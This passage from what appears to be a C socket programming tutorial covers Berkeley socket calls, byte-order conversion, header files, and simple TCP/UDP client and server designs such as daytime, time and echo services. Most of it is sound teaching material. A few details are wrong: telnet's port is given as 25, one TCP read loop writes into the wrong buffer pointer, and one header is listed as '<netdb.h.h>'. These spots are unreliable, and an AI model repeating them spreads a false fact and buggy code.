#define BACKLOG 10

int main()
{
/* listen on sock_fd, new connection on new_fd */
int sockfd, new_fd;
/* my address information, address where I run this program */
struct sockaddr_in my_addr;
/* remote address information */
struct sockaddr_in their_addr;
int sin_size;

sockfd = socket(AF_INET, SOCK_STREAM, 0);


if(sockfd == -1)
{
perror("socket() error lol!");
exit(1);
}
else
printf("socket() is OK...\n");

www.tenouk.com Page 23 of 31
/* host byte order */
my_addr.sin_family = AF_INET;
/* short, network byte order */
my_addr.sin_port = htons(MYPORT);
/* auto-fill with my IP */
my_addr.sin_addr.s_addr = INADDR_ANY;

/* zero the rest of the struct */


memset(&(my_addr.sin_zero), 0, 8);

if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)


{
perror("bind() error lol!");
exit(1);
}
else
printf("bind() is OK...\n");

if(listen(sockfd, BACKLOG) == -1)


{
perror("listen() error lol!");
exit(1);
}
else
printf("listen() is OK...\n");

/* ...other codes to read the received data... */

sin_size = sizeof(struct sockaddr_in);


new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);

if(new_fd == -1)
perror("accept() error lol!");
else
printf("accept() is OK...\n");

/*.....other codes.......*/

close(new_fd);
close(sockfd);
return 0;
}

[bodo@bakawali testsocket]$ gcc test3.c -o test3


[bodo@bakawali testsocket]$ ./test3
socket() is OK...
bind() is OK...
listen() is OK...

- Note that we will use the socket descriptor new_fd for all send() and recv() calls.
- If you’re only getting one single connection ever, you can close() the listening sockfd in order to
prevent more incoming connections on the same port, if you so desire.

send()

int send(int sockfd, const void *msg, int len, int flags);

- sockfd is the socket descriptor you want to send data to (whether it’s the one returned by socket()
or the new one you got with accept()).
- msg is a pointer to the data you want to send.
- len is the length of that data in bytes.
- Just set flags to 0. (See the send() man page for more information concerning flags).
- Some sample code might be:

char *msg = "I was here!";


int len, bytes_sent;
...
...
len = strlen(msg);
bytes_sent = send(sockfd, msg, len, 0);
...

- send() returns the number of bytes actually sent out and this might be less than the number you told
it to send.

www.tenouk.com Page 24 of 31
- Sometimes you tell it to send a whole gob of data and it just can’t handle it. It’ll fire off as much of the
data as it can, and trust you to send the rest later.
- Remember, if the value returned by send() doesn’t match the value in len, it’s up to you to send the
rest of the string.
- If the packet is small (less than 1K or so) it will probably manage to send the whole thing all in one go.
- Again, -1 is returned on error, and errno is set to the error number.

recv()

- The recv() call is similar in many respects:

int recv(int sockfd, void *buf, int len, unsigned int flags);

- sockfd is the socket descriptor to read from, buf is the buffer to read the information into and len is
the maximum length of the buffer.
- flags can again be set to 0. See the recv() man page for flag information.
- recv() returns the number of bytes actually read into the buffer, or -1 on error (with errno set,
accordingly).
- If recv() return 0, this can mean only one thing that is the remote side has closed the connection on
you. A return value of 0 is recv()’s way of letting you know this has occurred.
- At this stage you can now pass data back and forth on stream sockets.
- These two functions send() and recv() are for communicating over stream sockets or connected
datagram sockets.
- If you want to use regular unconnected datagram sockets (UDP), you need to use the sendto() and
recvfrom().
- Or you can use more general, the normal file system functions, write() and read().

write()

NAME
write() - write to a file descriptor

SYNOPSIS
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

- Writes to files, devices, sockets etc.


- Normally data is copied to a system buffer and write occurs asynchronously.
- If buffers are full, write can block.

read()

NAME
read() - read from a file descriptor

SYNOPSIS
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);

- Reads from files, devices, sockets etc.


- If a socket has data available up to count bytes are read.
- If no data is available, the read blocks.
- If less than count bytes are available, read returns what it can without blocking.
- For UDP, data is read in whole or partial datagrams. If you read part of a datagram, the rest is
discarded.

close() and shutdown()

NAME
close() - close a file descriptor

SYNOPSIS
#include <unistd.h>

www.tenouk.com Page 25 of 31
int close(int sockfd);

- You can just use the regular UNIX file descriptor close() function:

close(sockfd);

- This will prevent any more reads and writes to the socket. Anyone attempting to read or write the
socket on the remote end will receive an error.
- UNIX keeps a count of the number of uses for an open file or device.
- Close decrements the use count. If the use count reaches 0, it is closed.
- Just in case you want a little more control over how the socket closes, you can use the shutdown()
function.
- It allows you to cut off communication in a certain direction, or both ways just like close() does.
- The prototype:

int shutdown(int sockfd, int how);

- sockfd is the socket file descriptor you want to shutdown, and how is one of the following:

1. 0 – Further receives are disallowed.


2. 1 – Further sends are disallowed.
3. 2 – Further sends and receives are disallowed (like close()).

- shutdown() returns 0 on success, and -1 on error (with errno set accordingly).


- If you deign to use shutdown() on unconnected datagram sockets, it will simply make the socket
unavailable for further send() and recv() calls (remember that you can use these if you
connect() your datagram socket).
- It’s important to note that shutdown() doesn’t actually close the file descriptor, it just change its
usability.
- To free a socket descriptor, you need to use close().

sendto() and recvfrom() for DATAGRAM (UDP)

- Since datagram sockets aren’t connected to a remote host, we need to give the destination address
before we send a packet. The prototype is:

int sendto(int sockfd, const void *msg, int len, unsigned int flags, const
struct sockaddr *to, int tolen);

- This call is basically the same as the call to send() with the addition of two other pieces of
information.
- to is a pointer to a struct sockaddr (which you’ll probably have as a struct
sockaddr_in and cast it at the last minute) which contains the destination IP address and port.
- tolen can simply be set to sizeof(struct sockaddr).
- Just like with send(), sendto() returns the number of bytes actually sent (which, again, might be
less than the number of bytes you told it to send!), or -1 on error.
- Equally similar are recv() and recvfrom(). The prototype of recvfrom() is:

int recvfrom(int sockfd, void *buf, int len, unsigned int flags, struct
sockaddr *from, int *fromlen);

- Again, this is just like recv() with the addition of a couple fields.
- from is a pointer to a local struct sockaddr that will be filled with the IP address and port of
the originating machine.
- fromlen is a pointer to a local int that should be initialized to sizeof(struct sockaddr).
When the function returns, fromlen will contain the length of the address actually stored in from.
recvfrom() returns the number of bytes received, or -1 on error (with errno set accordingly).
- Remember, if you connect() a datagram socket, you can then simply use send() and recv() for
all your transactions.
- The socket itself is still a datagram socket and the packets still use UDP, but the socket interface will
automatically add the destination and source information for you.

Sample of the client socket call flow

www.tenouk.com Page 26 of 31
socket()
connect()
while (x)
{
write()
read()
}
close()

Sample of the server socket call flow

socket()
bind()
listen()
while (1)
{
accept()
while (x)
{
read()
write()
}
close()
}
close()

Network Integers versus Host Integers

- Little Endian and big Endian issue regarding the use of the different processors.
- Usually integers are either most-significant byte first or least-significant byte first.
- On Intel based machines the hex value 0x01020304 would be stored in 4 successive bytes as:
04, 03, 02, 01. This is little endian.
- On an Most Significant Bit (MSB)-first (big endian) machine (IBM RS6000), this would be: 01, 02, 03,
04.
- It is important to use network byte order (MSB-first) and the conversion functions are listed below:

htons() Host to network short.


ntohs() Network to host short.
htonl() Host to network long.
ntohl() Network to host long.

Table 7

- Use these functions to write portable network code.


- Fortunately for you, there are a bunch of functions that allow you to manipulate IP addresses. No need
to figure them out by hand and stuff them in a long with the « operator.
- First, let’s say you have a:

struct sockaddr_in ina

- And you have an IP address "10.12.110.57" that you want to store into it.
- The function you want to use, inet_addr(), converts an IP address in numbers-and-dots notation
into an unsigned long. The assignment can be made as follows:

ina.sin_addr.s_addr = inet_addr("10.12.110.57");

- Notice that inet_addr() returns the address in Network Byte Order already so you don’t have to
call htonl().
- Now, the above code snippet isn’t very robust because there is no error checking. inet_addr()
returns -1 on error.
- For binary numbers (unsigned)-1 just happens to correspond to the IP address
255.255.255.255! That’s the broadcast address! Remember to do your error checking properly.
- Actually, there’s a cleaner interface you can use instead of inet_addr(): it’s called inet_aton()
("aton" means "ascii to network"):

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int inet_aton(const char *cp, struct in_addr *inp);

www.tenouk.com Page 27 of 31
- And here’s a sample usage, while packing a struct sockaddr_in is shown below:

struct sockaddr_in my_addr;


/* host byte order */
my_addr.sin_family = AF_INET;
/* short, network byte order */
my_addr.sin_port = htons(MYPORT);
inet_aton("10.12.110.57", &(my_addr.sin_addr));
/* zero the rest of the struct */
memset(&(my_addr.sin_zero), 0, 8);

- inet_aton(), unlike practically every other socket-related function, returns non-zero on success,
and zero on failure. And the address is passed back in inp.
- Unfortunately, not all platforms implement inet_aton() so, although its use is preferred, normally
the older more common inet_addr() is used.
- All right, now you can convert string IP addresses to their binary representations. What about the other
way around?
- What if you have a struct in_addr and you want to print it in numbers-and-dots notation? In this
case, you’ll want to use the function inet_ntoa() ("ntoa" means "network to ascii") something
like this:

printf("%s", inet_ntoa(ina.sin_addr));

- That will print the IP address. Note that inet_ntoa() takes a struct in_addr as an argument,
not a long. Also notice that it returns a pointer to a char.
- This points to a statically stored char array within inet_ntoa() so that each time you call
inet_ntoa() it will overwrite the last IP address you asked for. For example:

char *a1, *a2;


.
.
a1 = inet_ntoa(ina1.sin_addr); /* this is 192.168.4.1 */
a2 = inet_ntoa(ina2.sin_addr); /* this is 10.11.110.55 */
printf("address 1: %s\n", a1);
printf("address 2: %s\n", a2);

- Will print:

address 1: 10.11.110.55
address 2: 10.11.110.55

- If you need to save the address, strcpy() it to your own character array.

---------------------------------------------------SOME SUMMARY----------------------------------------------

- Let see, what we have covered till now.

Socket Library Functions

- System calls:
▪ Startup / close.
▪ Data transfer.
▪ Options control.
▪ Other.
- Network configuration lookup:
▪ Host address.
▪ Ports for services.
▪ Other.
- Utility functions:
▪ Data conversion.
▪ Address manipulation.
▪ Error handling.

Primary Socket Calls

socket() Create a new socket and return its descriptor.

www.tenouk.com Page 28 of 31
bind() Associate a socket with a port and address.
listen() Establish queue for connection requests.
accept() Accept a connection request.
connect() Initiate a connection to a remote host.
recv() Receive data from a socket descriptor.
send() Send data to a socket descriptor.
read() Reads from files, devices, sockets etc.
write() Writes to files, devices, sockets etc.
close() “One-way” close of a socket descriptor.
Allows you to cut off communication in a certain direction,
shutdown()
or both ways just like close() does.

Table 8

Network Database Administration functions

- gethostbyname() - given a hostname, returns a structure which specifies its DNS name(s) and IP
address (es).
- getservbyname() - given service name and protocol, returns a structure which specifies its
name(s) and its port address.
- gethostname() - returns hostname of local host.
- getservbyname(), getservbyport(), getservent().
- getprotobyname(), getprotobynumber(), getprotobyent(), getnetbyname(),
getnetbyaddr(), getnetent().

Socket Utility Functions

ntohs()/ntohl() Convert short/long from network byte order (big endian) to host byte order.
htons()/htonl() Convert short/long from host byte order to network byte order.
inet_ntoa()/inet_addr() Convert 32-bit IP address (network byte order to/from a dotted decimal string).
perror() Print error message (based on “errno”) to stderr.
herror() Print error message for gethostbyname() to stderr (used with DNS).

Table 9

Primary Header Files

- Include file sequence may affect processing (order is important!). Other header files that define macro,
data type, structure and functions are given in the summary Table at the end of this Tutorial.

<sys/types.h> Prerequisite typedefs.


<errno.h> Names for “errno” values (error numbers).
<sys/socket.h> struct sockaddr; system prototypes and constants.
<netdb.h.h> Network info lookup prototypes and structures.
<netinet/in.h> struct sockaddr_in; byte ordering macros.
<arpa/inet.h> Utility function prototypes.

Table 10

Ancillary Socket Topics

- UDP versus TCP.


- Controlling/managing socket characteristics.

▪ get/setsockopt() - keepalive, reuse, nodelay.


▪ fcntl() - async signals, blocking.
▪ ioctl() - file, socket, routing, interface options.

- Blocking versus Non-blocking socket.


- Signal based socket programming (SIGIO).
- Implementation specific functions.

www.tenouk.com Page 29 of 31
---------------------------------------------------End socket Part I------------------------------------------------------

Socket header files

- Programs that use the socket functions must include one or more header files that contain information
that is needed by the functions, such as:

▪ Macro definitions.
▪ Data type definitions.
▪ Structure definitions.
▪ Function prototypes.

- The following Table is a summary of the header files used in conjunction with the socket APIs.

Header file name Description


Defines prototypes for those network library routines that convert Internet address
<arpa/inet.h>
and dotted-decimal notation, for example, inet_makeaddr().
Defines Internet name server macros and structures that are needed when the system
<arpa/nameser.h>
uses the resolver routines.
<error.h> Defines macros and variables for error reporting.
Defines prototypes, macros, variables, and structures for control-type functions, for
<fcntl.h>
example, fcntl().
Defines prototypes, macros, variables, and the ifreq and ifconf structures that
<net/if.h>
are associated with ioctl() requests that affect interfaces.
Defines prototypes, macros, variables, and the rtentry and rtconf structures
<net/route.h>
that are associated with ioctl() requests that affect routing entries.
Contains data definitions for the network library routines. Defines the following
structures:
<netdb.h> ▪ hostent and hostent_data.
▪ netent and netent_data.
▪ servent and servent_data.
▪ protoent and protoent_data.
Defines prototypes, macros, variables, and the sockaddr_in structure to use with
<netinet/in.h>
Internet domain sockets.
<netinet/ip.h> Defines macros, variables, and structures that are associated with setting IP options.
Defines macros, variables, and structures that are associated with the Internet Control
<netinet/ip_icmp.h>
Message Protocol (ICMP).
Defines macros, variables, and structures that are associated with setting TCP
<netinet/tcp.h>
options.
<netns/idp.h> Defines IPX packet header. May be needed in AF_NS socket applications.
Defines ioctl structures for IPX ioctl() requests. May be needed in AF_NS
<netns/ipx.h>
socket applications.
Defines AF_NS socket structures and options. You must include this file in AF_NS
<netns/ns.h>
socket applications.
<netns/sp.h> Defines SPX packet header. May be needed in AF_NS socket applications.
Defines sockaddr_tel structure and related structures and macros. You must
<nettel/tel.h>
include this file in AF_TELEPHONY socket applications.
<resolv.h> Contains macros and structures that are used by the resolver routines.
Defines Secure Sockets Layer (SSL) prototypes, macros, variables, and the following
structures:
<ssl.h>
▪ SSLInit
▪ SSLHandle
Defines prototypes, macros, variables, and structures for I/O control-type functions,
<sys/ioctl.h>
for example, ioctl().
Defines some limits to system fields, in addition to miscellaneous macros and
<sys/param.h>
prototypes.
Defines additional macros, types, structures, and functions that are used by signal
<sys/signal.h>
routines.
<sys/socket.h> Defines socket prototypes, macros, variables, and the following structures:

www.tenouk.com Page 30 of 31
▪ sockaddr
▪ msghdr
▪ linger
You must include this file in all socket applications.
Defines prototypes, macros, variables, and structures that are associated with time
<sys/time.h>
functions.
Defines various data types. Also includes prototypes, macros, variables, and
<sys/types.h> structures that are associated with the select() function. You must include this
file in all socket applications.
Defines prototypes, macros, variables, and structures that are associated with I/O
<sys/uio.h>
functions.
Defines prototypes, macros, variables, and the sockaddr_un structure to use with
<sys/un.h>
UNIX domain sockets.
Contains macros and structures that are defined by the integrated file system.
<unistd.h>
Needed when the system uses the read() and write() system functions.

Table 11: Header files for the sockets APIs

…Continue on next Module…More program examples…More in-depth discussion about TCP/IP suite is given in
Module 42.

---------------------------------------End Part I-------------------------------------


----www.tenouk.com---

Further reading and digging:

1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.
2. Protocol sequence diagram examples.
3. Another site for protocols information.
4. RFCs.
5. External Data Representation (XDR).
6. Remote Procedure Call (RPC).

www.tenouk.com Page 31 of 31
MODULE 40
NETWORK PROGRAMMING
SOCKET PART II

My Training Period: hours

Note:
This is a continuation from Part I, Module 39. Working program examples compiled using gcc, tested using the
public IPs, run on Fedora 3, with several times of update, as normal user. The Fedora machine used for the testing
having the "No Stack Execute" disabled and the SELinux set to default configuration.

Abilities

▪ Able to understand and use the Unix/Linux C language socket APIs.


▪ Able to understand and implement several simple TCP and UDP Client and server basic designs.

Client Design Consideration

- Some of the information in this section is a repetition from the previous one.

Identifying a Server's Address

- A server's ip address must be used in connect.


- Usually the name is used to get the address.
- The name could be in the code mailhost for an email program.
- The user could specify the name common because it is flexible and simple.
- The name or address could be in a file.
- Broadcast on the network to ask for a server.
- Example telneting the telserv.test.com server through the standard telnet port 25:

telnet telserv.test.com

- Or using the IP address of the telnet server:

telnet 131.95.115.204

- Client software typically allows either names or numbers.


- Ports usually have a default value in the code if not explicitly mentioned.

Looking Up a Computer Name

NAME
gethostbyname() - get network host entry

SYNOPSIS
#include <netdb.h>
extern int h_errno;

struct hostent
*gethostbyname(const char *name);
struct hostent {
char *h_name;
char **h_aliases;
int h_addrtype;
int h_length;
char **h_addr_list;
};
#define h_addr h_addr_list[0]

- name could be a name or dotted decimal address.


- Hosts can have many names in h_aliases.
- Hosts can have many addresses in h_addr_list.
- Addresses in h_addr_list are not strings network order addresses ready to copy and use.

Looking Up a Port Number by Name

www.tenouk.com
NAME
getservbyname() - get service entry

SYNOPSIS
#include <netdb.h>

struct servent *getservbyname(const char *name, const char *proto);

struct servent {
char *s_name;
char **s_aliases;
int s_port;
char *s_proto;
}

- s_port: port number for the service given in network byte order.

Looking Up a Protocol by Name

NAME
getprotobyname() - get protocol entry

SYNOPSIS
#include <netdb.h>

struct protoent
*getprotobyname(const char *name);
struct protoent {
char *p_name;
char **p_aliases;
int p_proto;
}

- p_proto: the protocol number (can be used in socket call).

getpeername()

- The function getpeername() will tell you who is at the other end of a connected stream socket.
- The prototype:

#include <sys/socket.h>
int getpeername(int sockfd, struct sockaddr *addr, int *addrlen);

- sockfd is the descriptor of the connected stream socket.


- addr is a pointer to a struct sockaddr (or a struct sockaddr_in) that will hold the
information about the other side of the connection.
- addrlen is a pointer to an int, which should be initialized to sizeof(struct sockaddr).
- The function returns -1 on error and sets errno accordingly.
- Once you have their address, you can use inet_ntoa() or gethostbyaddr() to print or get
more information.

Allocating a Socket

#include <sys/types.h>
#include <sys/socket.h>

int s;

s = socket(PF_INET, SOCK_STREAM, 0);

- Specifying PF_INET and SOCK_STREAM leaves the protocol parameter irrelevant.

Choosing a Local Port Number

- The server will be using a well-known port.


- Once a client port is set, the server will be aware as needed.
- You could bind to a random port above 1023.
- A simpler choice is to leave out the bind call.
- connect() will choose a local port if required.

www.tenouk.com
Connecting to a Server with TCP

- connect().

NAME
connect - initiate a connection on a socket

SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>

int connect(int s, struct sockaddr *serv_addr, int addrlen);

RETURN VALUE
If the connection or binding succeeds, zero is returned.
On error, -1 is returned, and errno is set appropriately.

- We will use a sockaddr_in structure (possibly cast).


- After connect, s is available to read/write.

Communicating with TCP

- Code segment example:

char *req = "send cash";


char buf[100], *b;

write (s, req, strlen(req));

left = 100;
b = buf;
while (left && (n = read(s, buf, left)) > 0)
{
b += n;
left -= n;
}

- The client and server can not know how many bytes are sent in each write.
- Delivered chunks are not always the same size as in the original write.
- Reads must be handled in a loop to cope with stream sockets.

Closing a TCP Connection

- In the simplest case close works well.


- Sometimes it is important to tell the server that a client will send no more requests, while still keeping
the socket available for reading.

res = shutdown(s, 1);

- The 1 means no more writes will happen.


- The server detects end of file on the socket.
- After the server sends all the replies it can close.

Connected vs Unconnected UDP Sockets

- A client can call connect with a UDP socket or not.


- If connect is called read and write will work.
- Without connect the client needs to send with a system call specifying a remote endpoint.
- Without connect it might be useful to receive data with a system call which tells the remote endpoint.
- Connect with TCP involves a special message exchange sequence.
- Connect with UDP sends no messages. You can connect to non-existent servers.

Communicating with UDP

- UDP data is always a complete message (datagram).


- Whatever is specified in a write becomes a datagram.

www.tenouk.com
- Receiver receives the complete datagram unless fewer bytes are read.
- Reading in a loop for a single datagram is pointless with UDP.
- close() is adequate, since shutdown() does not send any messages.
- UDP is unreliable. UDP software needs an error protocol.

Example Clients – Some variations

A Simple Client Library

- To make a connection, a client must:

▪ select UDP or TCP...


▪ determine a server's IP address...
▪ determine the proper port...
▪ make the socket call...
▪ make the connect call...

- Frequently the calls are essentially the same.


- A library offers normal capability with a simple interface.

connectTCP()

- The following is a code segment example using the connectTCP() function.

int connectTCP(const char *host, const char *service)


{ return connectsock(host, service, "tcp"); }

connectUDP()

- The following is a code segment example using the connectUDP() function.

int connectUDP(const char *host, const char *service)


{ return connectsock(host, service, "udp"); }

connectsock()

- The following is a code segment example using the connectsock() function.

int connectsock(const char *host, const char *service, const char *transport)
{
struct hostent *phe; /* pointer to host information entry */
struct servent *pse; /* pointer to service information entry */
struct protoent *ppe; /* pointer to protocol information entry*/
struct sockaddr_in sin; /* an Internet endpoint address */
int s, type; /* socket descriptor and socket type */

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;

/* Map service name to port number */


if(pse = getservbyname(service, transport))
sin.sin_port = pse->s_port;
else if ((sin.sin_port = htons((u_ short)atoi(service))) == 0)
errexit("can't get \"%s\" service entry\n", service);

/* Map host name to IP address, allowing for dotted decimal */


if(phe = gethostbyname(host))
memcpy(&sin.sin_addr, phe->h_addr, phe->h_length);
else if ((sin.sin_addr.s_addr = inet_addr(host)) == INADDR_NONE)
errexit("can't get \"%s\" host entry\n", host);

/* Map transport protocol name to protocol number */


if((ppe = getprotobyname(transport)) == 0)
errexit("can't get \"%s\" protocol entry\n", transport);

/* Use protocol to choose a socket type */


if(strcmp(transport, "udp") == 0)
type = SOCK_DGRAM;
else

www.tenouk.com
type = SOCK_STREAM;

/* Allocate a socket */
s = socket(PF_INET, type, ppe->p_proto);
if(s < 0)
errexit("can't create socket: %s\n", strerror(errno));

/* Connect the socket */


if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
errexit("can't connect to %s.%s: %s\n", host, service, strerror(errno));
return s;
}

A TCP DAYTIME Client

- DAYTIME service prints date and time.


- TCP version sends upon connection. Server reads no client data.
- UDP version sends upon receiving any message.
- The following is a code segment example implementing the TCP Daytime.

#define LINELEN 128

int main(int argc, char *argv[])


{
/* host to use if none supplied */
char *host = "localhost";
/* default service port */
char *service = "daytime";
switch (argc) {
case 1:
host = "localhost";
break;
case 3:
service = argv[2];
/* FALL THROUGH */
case 2:
host = argv[1];
break;
default:
fprintf(stderr, "usage: TCPdaytime [host [port]]\n");
exit(1);
}
TCPdaytime(host, service);
exit(0);
}

void TCPdaytime(const char *host, const char *service)


{
/* buffer for one line of text */
char buf[LINELEN+1];
/* socket, read count */
int s, n;

s = connectTCP(host, service);

while((n = read(s, buf, LINELEN)) > 0)


{
/* ensure null-terminated */
buf[n] = '\0';
(void) fputs(buf, stdout);
}
}

A UDP TIME Client

- The TIME service is for computers.


- Returns seconds since 1-1-1900.
- Useful for synchronizing and time-setting.
- TCP and UDP versions return time as an integer.
- Need to use ntohl to convert.
- The following is a code segment example implementing UDP Time.

#define MSG "What time is it?\n"

www.tenouk.com
int main(int argc, char *argv[])
{
char *host = "localhost"; /* host to use if none supplied */
char *service = "time"; /* default service name */
time_t now; /* 32-bit integer to hold time */
int s, n; /* socket descriptor, read count*/

switch (argc) {
case 1:
host = "localhost";
break;
case 3:
service = argv[2];
/* FALL THROUGH */
case 2:
host = argv[1];
break;
default:
fprintf(stderr, "usage: UDPtime [host [port]]\n");
exit(1);
}

s = connectUDP(host, service);

(void) write(s, MSG, strlen(MSG));

/* Read the time */


n = read(s, (char *)&now, sizeof(now));
if(n < 0)
errexit("read failed: %s\n", strerror(errno));
/* put in host byte order*/
now = ntohl((u_long)now);
printf("%s", ctime(&now));
exit(0);
}

TCP and UDP Echo Clients

- main() is like the other clients.

TCPecho() function

- The following is a code segment example for using the TCPecho() function.

int TCPecho(const char *host, const char *service)


{
char buf[LINELEN+1]; /* buffer for one line of text */
int s, n; /* socket descriptor, read count*/
int outchars, inchars; /* characters sent and received */

s = connectTCP(host, service);

while(fgets(buf, sizeof(buf), stdin))


{
/* insure line null-terminated */
buf[LINELEN] = '\0';
outchars = strlen(buf);
(void) write(s, buf, outchars);

/* read it back */
for(inchars = 0; inchars < outchars; inchars+=n)
{
n = read(s, &buf[inchars], outchars - inchars);
if(n < 0)
errexit("socket read failed: %s\n", strerror(errno));
}
fputs(buf, stdout);
}
}

UDPecho() function

- The following is a code segment example for using the UDPecho() function.

www.tenouk.com
int UDPecho(const char *host, const char *service)
{
/* buffer for one line of text */
char buf[LINELEN+1];
/* socket descriptor, read count */
int s, nchars;

s = connectUDP(host, service);

while(fgets(buf, sizeof(buf), stdin))


{
/* ensure null-terminated */
buf[LINELEN] = '\0';
nchars = strlen(buf);
(void) write(s, buf, nchars);

if(read(s, buf, nchars) < 0)


errexit("socket read failed: %s\n", strerror(errno));
fputs(buf, stdout);
}
}

Server Design Consideration

Concurrent vs Iterative Servers

- An iterative server processes one request at a time.


- A concurrent server processes multiple requests at a time real or apparent concurrency.
- A single process can use asynchronous I/O to achieve concurrency.
- Multiple server processes can achieve concurrency.
- Concurrent servers are more complex.
- Iterative servers cause too much blocking for most applications.
- Avoiding blocking results in better performance.

Connection-Oriented vs Connectionless Servers

- TCP provides a connection-oriented service.


- UDP provides a connectionless service.

Connection-oriented Servers

- Easy to program, since TCP takes care of communication problems.


- Also a single socket is used for a single client exclusively (connection).
- Handling multiple sockets is intense juggling.
- For trivial applications the 3-way handshake is slow compared to UDP.
- Resources can be tied up if a client crashes.

Connectionless Servers

- No resource depletion problem.


- Server/client must cope with communication errors. Usually client sends a request and resends if
needed.
- Selecting proper timeout values is difficult.
- UDP allows broadcast/multicast.

Stateless Servers

- Statelessness improves reliability at the cost of longer requests and slower performance.
- Improving performance generally adds state information. For example, adding a cache of file data.
- Crashing clients leave state information in server.
- You could use LRU replacement to re-use space.
- A frequently crashing client could dominate the state table, wiping out performance gains.
- Maintaining state information correctly and efficiently is complex.

Request Processing Time

www.tenouk.com
- Request processing time (rpt) = total time server uses to handle a single request.
- Observed response time (ort) = delay between issuing a request and receiving a response
- rpt <= ort.
- If the server has a large request queue, ort can be large.
- Iterative servers handle queued requests sequentially.
- With N items queued the average iterative (ort = N * rpt).
- With N items queued a concurrent server can do better.
- Implementations restrict queue size.
- Programmers need a concurrent design if a small queue is inadequate.

Iterative, Connection-Oriented Server Algorithm

- The following is a sample of pseudo codes for iterative, connection oriented server.

create a socket
bind to a well-known port
place in passive mode
while (1)
{
Accept the next connection
while (client writes)
{
read a client request
perform requested action
send a reply
}
close the client socket
}
close the passive socket

Using INADDR_ANY

- Some server computers have multiple IP addresses.


- A socket bound to one of these will not accept connections to another address.
- Frequently you prefer to allow any one of the computer's IP addresses to be used for connections.
- Use INADDR_ANY (0L) to allow clients to connect using any one of the host's IP addresses.

Iterative, Connectionless Server Algorithm

- The following is a sample of pseudo codes for iterative, connectionless server.

create a socket
bind to a well-known port
while (1)
{
read a request from some client
send a reply to that client
}

recvfrom(s, buf, len, flags, from, fromlen)


sendto(s, buf, len, flags, to, to_len)

Concurrent, Connectionless Server Algorithm

- The following is a sample of pseudo codes for concurrent, connectionless server.

create a socket
bind to a well-known port
while (1)
{
read a request from some client
fork
if(child)
{
send a reply to that client
exit
}
}

- Overhead of fork and exit is expensive.


- Not used much.

www.tenouk.com
Concurrent, Connection-Oriented Server Algorithm

- The following is a sample of pseudo codes for connection-oriented server.

create a socket
bind to a well-known port
use listen to place in passive mode
while (1)
{
accept a client connection
fork
if (child)
{
communicate with new socket
close new socket
exit
}
else
{close new socket}
}

- Single program has master and slave code.


- It is possible for slave to use execve.

Concurrency Using a Single Process

- The following is a sample of pseudo codes for concurrency using a single process.

create a socket
bind to a well-known port
while (1)
{
use select to wait for I/O
if(original socket is ready)
{
accept() a new connection and add to read list
}
else if (a socket is ready for read)
{
read data from a client
if(data completes a request)
{
do the request
if(reply needed) add socket to write list
}
}
else if (a socket is ready for write)
{
write data to a client
if(message is complete)
{
remove socket from write list
}
else
{
adjust write parameters and leave in write list
}
}
}

When to Use the Various Server Types

- Iterative vs Concurrent.

▪ Iterative server is simpler to write.


▪ Concurrent server is faster.
▪ Use iterative if it is fast enough.

- Real vs Apparent Concurrency.

▪ Writing a single process concurrent server is harder.


▪ Use a single process if data must be shared between clients.

www.tenouk.com
▪ Use multiple processes if each slave is isolated or if you have multiple CPUs.

- Connection-Oriented vs Connectionless.

▪ Use connectionless if the protocol handles reliability.


▪ Use connectionless on a LAN with no errors.

Avoiding Server Deadlock

- Client connects but sends no request. Server blocks in read call.


- Client sends request, but reads no replies. Server blocks in write call.
- Concurrent servers with slaves are robust.

Iterative, Connectionless Servers (UDP)

Creating a Passive UDP Socket

- The following is a sample codes for a passive UDP socket.

int passiveUDP(const char *service)


{
return passivesock(service, "udp", 0);
}

u_short portbase = 0;

int passivesock(const char *service, const char *transport, int qlen)


{
struct servent *pse;
struct protoent *ppe;
struct sockaddr_in sin;
int s, type;

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;

/* Map service name to port number */


if(pse = getservbyname(service, transport))
sin.sin_port = htons(ntohs((u_short)pse->s_port) + portbase);
else if((sin.sin_port = htons((u_short)atoi(service))) == 0)
errexit("can't get \"%s\" service entry\n", service);

/* Map protocol name to protocol number */


if((ppe = getprotobyname(transport)) == 0)
errexit("can't get \"%s\" protocol entry\n", transport);

/* Use protocol to choose a socket type */


if(strcmp(transport, "udp") == 0)
type = SOCK_DGRAM;
else
type = SOCK_STREAM;

/* Allocate a socket */
s = socket(PF_INET, type, ppe->p_proto);
if(s < 0)
errexit("can't create socket: %s\n", strerror(errno));

/* Bind the socket */


if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
errexit("can't bind to %s port: %s\n", service, strerror(errno));
if(type == SOCK_STREAM && listen(s, qlen) < 0)
errexit("can't listen on %s port: %s\n", service, strerror(errno));
return s;
}

A TIME Server

- The following is a sample codes for Time server.

/* main() - Iterative UDP server for TIME service */


int main(int argc, char *argv[])

www.tenouk.com
{
struct sockaddr_in fsin;
char *service = "time";
char buf[1];
int sock;
time_t now;
int alen;

sock = passiveUDP(service);

while (1)
{
alen = sizeof(fsin);
if(recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)&fsin, &alen) < 0)
errexit("recvfrom: %s\n", strerror(errno));
time(&now);
now = htonl((u_long)now);
sendto(sock, (char *)&now, sizeof(now), 0, (struct sockaddr *)&fsin, sizeof(fsin));
}
}

Iterative, Connection-Oriented Servers (TCP)

A DAYTIME Server

- The following is a sample codes for Daytime server.

int passiveTCP(const char *service, int qlen)


{
return passivesock(service, "tcp", qlen);
}

int main(int argc, char *argv[])


{
struct sockaddr_in fsin;
char *service = "daytime";
int msock, ssock;
int alen;

msock = passiveTCP(service, 5);

while (1) {
ssock = accept(msock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0)
errexit("accept failed: %s\n", strerror(errno));
TCPdaytimed(ssock);
close(ssock);
}
}

void TCPdaytimed(int fd)


{
char *pts;
time_t now;
char *ctime();

time(&now);
pts = ctime(&now);
write(fd, pts, strlen(pts));
return;
}

- Close call requests a graceful shutdown.


- Data in transit is reliably delivered.
